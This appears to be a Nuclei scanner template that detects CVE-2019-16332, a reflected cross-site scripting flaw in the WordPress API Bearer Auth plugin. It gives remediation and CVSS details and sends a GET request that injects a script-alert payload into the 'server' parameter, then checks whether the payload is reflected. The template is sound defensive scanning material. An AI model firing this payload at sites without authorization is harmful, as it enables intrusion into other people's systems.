id: CVE-2019-16332

info:
  name: WordPress API Bearer Auth <20190907 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of WordPress API Bearer Auth plugin (20190907 or later) to mitigate the vulnerability.
  reference:
    - https://plugins.trac.wordpress.org/changeset/2152730
    - https://wordpress.org/plugins/api-bearer-auth/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16332
    - https://packetstormsecurity.com/files/154369/WordPress-API-Bearer-Auth-20181229-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/9868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16332
    cwe-id: CWE-79
    epss-score: 0.00303
    epss-percentile: 0.66434
    cpe: cpe:2.3:a:api_bearer_auth_project:api_bearer_auth:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: api_bearer_auth_project
    product: api_bearer_auth
    framework: wordpress
  tags: cve,cve2019,packetstorm,wordpress,xss,wp-plugin,auth,api_bearer_auth_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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